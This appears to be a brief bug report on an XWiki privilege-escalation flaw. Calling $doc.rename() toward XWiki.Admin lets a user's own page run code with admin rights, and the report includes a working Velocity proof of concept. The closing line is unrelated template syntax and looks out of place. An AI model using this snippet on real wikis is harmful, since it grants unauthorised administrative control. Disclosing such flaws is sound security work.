Privil3g3 escalation while renaming a page for Girliz

While renaming a page, even if it fails, $doc points to the page the user gave in $doc.rename().
This permits to execute scripts with other privileges than the user's one.

For eg, if a user as write acces to his userpage (by default), it can execute code as XWiki.Admin by inserting this in his user page:

#set($renamedBLs = $util.arrayList)
$doc.rename("XWiki.Admin", $renamedBLs)
## After this line, the code is executed as if it was in the page XWiki.Admin
## If XWiki.Admin was save by XWiki.Admin and XWiki.Admin has programming rights, this should work:
<%= "Deny Everything" %>